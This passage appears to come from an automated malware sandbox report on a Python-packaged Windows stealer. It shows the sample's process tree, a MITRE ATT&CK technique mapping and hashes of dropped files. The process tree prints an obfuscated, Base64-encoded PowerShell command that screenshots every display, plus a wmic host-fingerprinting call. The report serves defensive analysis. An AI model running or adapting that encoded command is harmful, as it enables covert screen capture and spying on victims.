bwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0rj4fqdv\0rj4fqdv.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4280
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF637.tmp" "c:\Users\Admin\AppData\Local\Temp\0rj4fqdv\CSC68E49467B92C43D0B44BD4E9F0ECC.TMP"
        6⤵
        
        PID:2128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\VCRUNTIME140.dll
Size 96KB
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
SSDEEP 1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
TLSH
T1E0A37D4A77A542BBC06ED274C1A39906F7B0B840877063CF07B5466A5F23BE19E3E356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_asyncio.pyd
Size 34KB
SHA256 fa5a1e7031de5849ab2ab5a177e366b41e1df6bbd90c8d2418033a01c740771f
MD5 1b8ce772a230a5da8cbdccd8914080a5
SHA1 40d4faf1308d1af6ef9f3856a4f743046fd0ead5
SHA512 d2fc21b9f58b57065b337c3513e7e6c3e2243b73c5a230e81c91dafcb6724b521ad766667848ba8d0a428d530691ffc4020de6ce9ce1eaa2bf5e15338114a603
SSDEEP 768:PLHYfVmoLOfek+D29R73mq5QQKsapN0ID5nuXYiSyvvNPxWETS:PLHsIfeRD2jaqK/X0ID5nuX7SytPxE
TLSH
T167F2CF734EA9AC74EDA389B134D54914FB31B1938ED0C3D7320C417A4FA27529EA52BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_bz2.pyd
Size 46KB
SHA256 307359f1b2552b60839385eb63d74cbfe75cd5efdb4e7cd0bb7d296fa67d8a87
MD5 80c69a1d87f0c82d6c4268e5a8213b78
SHA1 bae059da91d48eaac4f1bb45ca6feee2c89a2c06
SHA512 542cf4ba19dd6a91690340779873e0cb8864b28159f55917f98a192ff9c449aba2d617e9b2b3932ddfeee13021706577ab164e5394e0513fe4087af6bc39d40d
SSDEEP 768:lwAGUM8GBetg87It88blNUL6yfsFtHrrhhto+MQw5aZ/hLYpUHIDtVzR3YiSyvLk:qAG/k9MjCDErhhmQXfTHIDtVzV7SyD85
TLSH
T13923DF670164ACB8ED3A5C7334E58E44FB31F9879A1543CF32A952A55F913823FE62B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_cffi_backend.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_cffi_backend.cp311-win_amd64.pyd
Size 71KB
SHA256 fda255664cbf627cb6a9cd327daf4e3eb06f4f0707ed2615e86e2e99b422ad0b
MD5 0f0f1c4e1d043f212b00473a81c012a3
SHA1 ff9ff3c257dceefc74551e4e2bacde0faaef5aec
SHA512 fcfa42f417e319bddf721f298587d1b26e6974e5d7589dfe6ddd2b013bc554a53db3725741fbc4941f34079ed8cb96f05934f3c2b933cda6a7e19cda315591a7
SSDEEP 1536:Qvgk4m5SIc455nfx3a1fH/MIaSEZgKrZxERWNbT:WwErnfx32jlvI4WN
TLSH
T1F063F2A7F2C6EDB8C5F64CF2E003855467B2389752246D5F23A075FA0AA64F404A1DFB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_ctypes.pyd
Size 57KB
SHA256 9925ab71a4d74ce0ccc036034d422782395dd496472bd2d7b6d617f4d6ddc1f9
MD5 b4c41a4a46e1d08206c109ce547480c7
SHA1 9588387007a49ec2304160f27376aedca5bc854d
SHA512 30debb8e766b430a57f3f6649eeb04eb0aad75ab50423252585db7e28a974d629eb81844a05f5cb94c1702308d3feda7a7a99cb37458e2acb8e87efc486a1d33
SSDEEP 1536:k3Wq49sE7fzlG5lNXdrYMP0MkeBvGhd0LYXIDQPTl7Syw0Pxv:k3WqKT1GLZdrDkHhOEXIDQPTl6Exv
TLSH
T12E43F1A746E0EDB2D62B047239C44589FF75F8468E6283E731AC61A95F353827F601F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_decimal.pyd
Size 104KB
SHA256 6b5fe2dea13b84e40b0278d1702aa29e9e2091f9dc09b64bbff5fd419a604c3c
MD5 e9501519a447b13dcca19e09140c9e84
SHA1 472b1aa072454d065dfe415a05036ffd8804c181
SHA512 ef481e0e4f9b277642652cd090634e1c04702df789e2267a87205e0fe12b00f1de6cdd4fafb51da01efa726606c0b57fcb2ea373533c772983fc4777dc0acc63
SSDEEP 3072:gzsRxWJXVyOgbHffu+MLtWH/WSWXb01KQiID5q1CAt6xN:HU/gbHfW6WSWLplCuG
TLSH
T1D5A302474B9C68E8EF267F71B4F24E2A7E31368650F681D7109E02578F93B060BE15B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_hashlib.pyd
Size 33KB
SHA256 f404bb8371618bbd782201f092a3bcd7a96d3c143787ebea1d8d86ded1f4b3b8
MD5 0629bdb5ff24ce5e88a2ddcede608aee
SHA1 47323370992b80dafb6f210b0d0229665b063afb
SHA512 3faeff1a19893257c17571b89963af37534c189421585ea03dd6a3017d28803e9d08b0e4daceee01ffeda21da60e68d10083fe7dbdbbde313a6b489a40e70952
SSDEEP 768:YA1cXZ83zNDKJ/KDQI5zbp61ypRcTID5IubYiSyvaPxWEw:YwnzKUQ+p6mcTID5Iub7SyiPx
TLSH
T1F4F2B0A781A19C69CD225E3130C44519FB32FD52C592C7EB314D91BE8FE2382EB96339
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_lzma.pyd
Size 84KB
SHA256 032b1a139adcff84426b6e156f9987b501ad42ecfb18170b10fb54da0157392e
MD5 bfca96ed7647b31dd2919bedebb856b8
SHA1 7d802d5788784f8b6bfbb8be491c1f06600737ac
SHA512 3a2926b79c90c3153c88046d316a081c8ddfb181d5f7c849ea6ae55cb13c6adba3a0434f800c4a30017d2fbab79d459432a2e88487914b54a897c4301c778551
SSDEEP 1536:n8mFQO4KV4FqKFztYJgYFlXeppHFEtnp8bacIUmDIDe1Ye7SyOePx:cO4KV0qKTYhFlupdQ8WLvIDe1Yehx
TLSH
T15083F1A34A75AC6DEC5B2AB130971410F931BD429AA0C39B7249863D1B46345EBA33FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_multiprocessing.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_multiprocessing.pyd
Size 25KB
SHA256 45bfbab1d2373cf7a8af19e5887579b8a306b3ad0c4f57e8f666339177f1f807
MD5 849b4203c5f9092db9022732d8247c97
SHA1 ed7bd0d6dcdcfa07f754b98acf44a7cfe5dcb353
SHA512 cc618b4fc918b423e5dbdcbc45206653133df16bf2125fd53bafef8f7850d2403564cf80f8a5d4abb4a8928ff1262f80f23c633ea109a18556d1871aff81cd39
SSDEEP 768:5y6HNbpr+8C6DJbpwDnIDRtuyYiSyvg7PxWEwm:b9+8FDgDnIDRtuy7SyI7Px7
TLSH
T19FC28DB28A688C78DC764D3134C49824FE35BD538B5182D7225C826B5F617836BD73BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_overlapped.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_overlapped.pyd
Size 30KB
SHA256 11879a429c996fee8be891af2bec7d00f966593f1e01ca0a60bd2005feb4176f
MD5 97a40f53a81c39469cc7c8dd00f51b5d
SHA1 6c3916fe42e7977d8a6b53bfbc5a579abcf22a83
SHA512 02af654ab73b6c8bf15a81c0e9071c8faf064c529b1439a2ab476e1026c860cf7d01472945112d4583e5da8e4c57f1df2700331440be80066dbb6a7e89e1c5af
SSDEEP 768:r1y7nuEu7eOHtaqrSNHrp9LhIDstetYiSyvYPxWEwW:YruEuiON7raHfLhIDstet7SywPx
TLSH
T112E2CF6346B5A8A9DC3789B231D85A15FF317857C50083DB32AC917F9FA23413E913B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_queue.pyd
Size 24KB
SHA256 ac7972502144e9e01e53001e8eec3fc9ab063564678b784d024da2036ba7384d
MD5 0614691624f99748ef1d971419bdb80d
SHA1 39c52450ed7e31e935b5b0e49d03330f2057747d
SHA512 184bc172c7bb8a1fb55c4c23950cbe5e0b5a3c96c1c555ed8476edf79c5c729ed297112ee01b45d771e5c0055d2dc402b566967d1900b5abf683ee8e668c5b26
SSDEEP 384:c90Psz9rLZgNhzHjlnwX1hZa7gJXjDID7UuNBIYiSy1pCQYIPxh8E9VF0Nyb9:cjihFn43pzDID7Uu4YiSyv7PxWER
TLSH
T16CB29EB341B8AC68D8334EB138E58920FF31B9D6855183DB716D827B4F617412BD13BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_socket.pyd
Size 41KB
SHA256 7efe25284a4663df9458603bf0988b0f47c7dcf56119e3e853e6bda80831a383
MD5 04e7eb0b6861495233247ac5bb33a89a
SHA1 c4d43474e0b378a00845cca044f68e224455612a
SHA512 d4ea0484363edf284ac08a1c3356cc3112d410dd80fe5010c1777acf88dbd830e9f668b593e252033d657a3431a79f7b68d09eb071d0c2ceb51632dbe9b8ed97
SSDEEP 768:2Q8MABQICeXD2rh0LklHwh20hpJ72IDQwzFDYiSyvGPxWERfsxi:2TieXEhow072IDQwzFD7Sy+Px3sxi
TLSH
T1CD13CF6386942C74F923487231D88A29FF70B6E38A54C3C73268D1B75F322C19F62276
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_sqlite3.pyd
Size 54KB
SHA256 67649e1e8acd348834efb2c927ab6a7599cf76b2c0c0a50b137b3be89c482e29
MD5 d9eeeeacc3a586cf2dbf6df366f6029e
SHA1 4ff9fb2842a13e9371ce7894ec4fe331b6af9219
SHA512 0b9f1d80fb92c796682dba94a75fbce0e4fbeaedccd50e21d42d4b9366463a830109a8cd4300aa62b41910655f8ca96ecc609ea8a1b84236250b6fd08c965830
SSDEEP 1536:qfDL703/MAe3F53jYTG3vy+1MNLjZVID5QjI7SyBPx:kD03/MHbH6+eL/ID5QjIXx
TLSH
T14C43E0718AB068BCD573D97075C54E54BF70BAE34E5182EA312C82BB1F713902BA23B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_ssl.pyd
Size 60KB
SHA256 50404a6a3de89497e9a1a03ff3df65c6028125586dced1a006d2abb9009a9892
MD5 fd0f4aed22736098dc146936cbf0ad1d
SHA1 e520def83b8efdbca9dd4b384a15880b036ee0cf
SHA512 c8f3c04d87da19041f28e1d474c8eb052fe8c03ffd88f0681ef4a2ffe29755cfd5b9c100a1b1d2fdb233cb0f70e367af500cbd3cd4ce77475f441f2b2aa0ab8a
SSDEEP 1536:I6ll/oOM5AGIyI1asq3YGDTgzOordBQkJIDt7o7/7Syi/Px:d/6AGLIcsq3YGn0ZQuIDt7ojEHx
TLSH
T11C53019786980C1EE4778EB065E90599BD3ABD634F4141DF321CC2BA8F323027BE2765
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_uuid.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\_uuid.pyd
Size 21KB
SHA256 9534cb9c997a17f0004fb70116e0141bdd516373b37bbd526d91ad080daa3a2b
MD5 3377ae26c2987cfee095dff160f2c86c
SHA1 0ca6aa60618950e6d91a7dea530a65a1cdf16625
SHA512 8e408b84e2130ff48b8004154d1bdf6a08109d0b40f9fafb6f55e9f215e418e05dca819f411c802792a9d9936a55d6b90460121583e5568579a0fda6935852ee
SSDEEP 384:MKbjUslT27KvpCuNZa7gJXTkIDewOYKIYiSy1pCQIJPxh8E9VF0NyYk:MIj3ltLNpDkIDewO6YiSyvWPxWEW
TLSH
T152A29EA34274AC74D8674EB135C49525FF30BA93499183CB325D927A4F723826FD23BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_http_parser.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\aiohttp\_http_parser.cp311-win_amd64.pyd
Size 75KB
SHA256 abeb6ba288eee3ac8205f57ef5ccb9b19d3d7c6defc7d775aee7726d41a9dab4
MD5 9ca6e658dd584207173b75d93c617ce4
SHA1 818c8ccf0c68babcbdb96816c5c5c09a3fe56e50
SHA512 118c673438dd3eefd6a13354b5a45983dceed40b438f375b9030b2c02971153f28e721337a17e6a5f2d95877e1f0cbaea068f21b5fa38b4c32c25feae092c905
SSDEEP 1536:W/uBK/LVuQnd2aXiDr9Sa3e8xDLHndRKLi2AIDRij+WalbgEM9xI:vK/IQnd2aX0r9ne8xDLHLK59oj
TLSH
T1757301C268A7D5B5DB9775F742F3B289D33D0EA3472B9F2B0B10506F5CA412812F90A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_http_writer.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\aiohttp\_http_writer.cp311-win_amd64.pyd
Size 24KB
SHA256 d76bffeefa7641765a0968330d9a4b6e87c17a8513b398eeb4bd885b61ba83dc
MD5 e15d42b7990405bb211fc447b2babcf9
SHA1 c193e63462e31bc4dfdfe10916936305d91afd97
SHA512 db439281d39f889e38934ea8ded134f1f25f74d9b30a4dea610248a6c52693f4f45367aee7e6a89bda29f477a33c7e14d4fd6042a3b5d06df909267ae743c7ef
SSDEEP 384:ZZUyPCpqCK4qTx1s+5k88oCLn5Yd1nnePiO6cdoRxBVNZu+oylXqFQbSZe+Za7gX:2pqCfq915z8RD5w1nMbsxBHBlXquGpw
TLSH
T163B2BF8623F6A67CC897897205179D90B753EC218206530FE5E516B75CB72D16E30BF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mask.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\aiohttp\_websocket\mask.cp311-win_amd64.pyd
Size 19KB
SHA256 dd44d5e3508f3c321026ce4d8f88bcd3bfa2e4aeedd1240faa0997af6bf554d4
MD5 f178c4a9f485e646b5cdbfe9844e1e28
SHA1 307ba5cd5f20da063f95f40130b946773e1f8cc0
SHA512 54e0797ab5412ecc60930990244ed0686b4415da97ead9cb7282fae9b13815216bf82daaa76460db2dd4a5315be8e5c048f570a921313bfdbe74d9b98be4bbe0
SSDEEP 384:CrCjXcr1t/mAe+Smmv3yg6XE9CBYQR5NRL3SPXh1Za7gJXTcuP:/XcTOr+9m592YAXJ3C7pD
TLSH
T1C192C0D7113BD5FDC63B993204999B50FB507E26D2698BAF44AA32DF8C136707C21A11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

reader_c.cp311-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\aiohttp\_websocket\reader_c.cp311-win_amd64.pyd
Size 58KB
SHA256 bfaa9245f0dc43df206c75f0b888113ec1eb837097ec3ae3f82330ab1bdf56d3
MD5 9cdd49338143a694606db174dc0f69d4
SHA1 a1060008d5f25b8f1cc11d4cb41ae0893318bf4e
SHA512 e322dacc56383efb99104b47b5546f633282baef770df8019c01b1af1b917e02cc7dec68e2b480d1483006a50c1855abcfdcf013d9513115a9050028e8e614ee
SSDEEP 1536:R/6Jho5BfI++TtIistAnrKIkrDn90z4ztHKYwDTGbxH/I2:p+hP++TtEZnX90z4z0YwD2xf
TLSH
T19543F1DF95F9627DC46672F02AD2025FFA28703FA36B2B231986713F841D650B961263
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\base_library.zip
Size 1.4MB
SHA256 06b1b17f60e73e4ba4677dd33b332d082afc5980ab5c6697c7414a154e5e65ed
MD5 1ca0d27e772bb35ab496bf12c8035ff4
SHA1 26c82abc4cba3db05703b008dcda998571f6ffbe
SHA512 80b2e17e869d4108b23ef2fc151b10247971af2a2474c15f421f58599314bd8af7b9a1eb770765bd8583ecbad31e697dd4989479027abc24964b048dd0a9dfb3
SSDEEP 24576:d2QRqLMjUUz/bucEvUFiviMqPndYMyxNvdf7TyAWfh4:wQRqLl5xNG+
TLSH
T1026509817982B5F7F804F3BB4026090DB328C5B4BB44C75739ABC1A69F9E6A47E518DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_rust.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47122\cryptography\hazmat\bindings\_rust.pyd
Size 2.3MB
SHA256 13dff6cc1d1513849529d6d4d413c21456bf103c8daf07dc844aaa767510020b
MD5 f22b5de2de5761cf27b239e093047e93
SHA1 8e9102e185c229021fcd6ea8e0c85d7bf1349439
SHA512 29198f3f847988c839e25b66990702c12fca0d8aedb91356cddaf50cc3017ef5b6f0d99192c0a92fc18c3d98f6cde3160b53df65bfab29b27aab3b3d011b742a
SSDEEP 49152:HfEmLqzOwBqUCQ8d9iy3IATu07vhcZtyYd7/C5R1o1VF116FeCnys:HfEmqz7qzQ8d928AtVdjm1kFums
TLSH
T18EB533294F88877BC0D46077018CED8265BB762BAC072A9770D7168ACC51F8AED5D8F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_frozenlist.cp311-win_amd64.pyd

